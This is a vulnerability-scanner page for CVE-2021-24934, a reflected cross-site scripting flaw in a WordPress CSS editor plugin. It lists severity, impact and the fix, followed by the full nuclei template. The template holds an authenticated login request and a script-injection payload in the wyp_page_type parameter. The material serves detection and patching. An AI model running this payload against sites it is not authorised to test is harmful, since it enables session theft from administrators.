Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue

Impact

Attackers can inject malicious JavaScript via reflected XSS in the wyp_page_type parameter, potentially stealing administrator session cookies or modifying site appearance.

Fix

Update to the latest version of plugin.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type=<script>alert(document.domain)</scri…
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains_all(body_2, "<script>alert(document.domain)</script>", "yellow-pencil-iframe-data")

Run it with nuclei: nuclei -id CVE-2021-24934 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24934

info:
  name: Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting
  author: Splint3r7
  severity: medium
  description: |
    The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the wyp_page_type parameter, potentially stealing administrator session cookies or modifying site appearance.
  remediation: |
    Update to the latest version of plugin.
  reference:
    - https://wpscan.com/vulnerability/0aa5a8d5-e736-4cd3-abfd-8e0a356bb6ef/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24934
    cwe-id: CWE-79
    epss-score: 0.01397
    epss-percentile: 0.72649
    cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: yellowpencil
    product: visual_css_style_editor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/yellow-pencil-visual-theme-customizer"
  tags: cve,cve2021,wordpress,wp,wp-plugin,yellowpencil,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "yellow-pencil-iframe-data")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from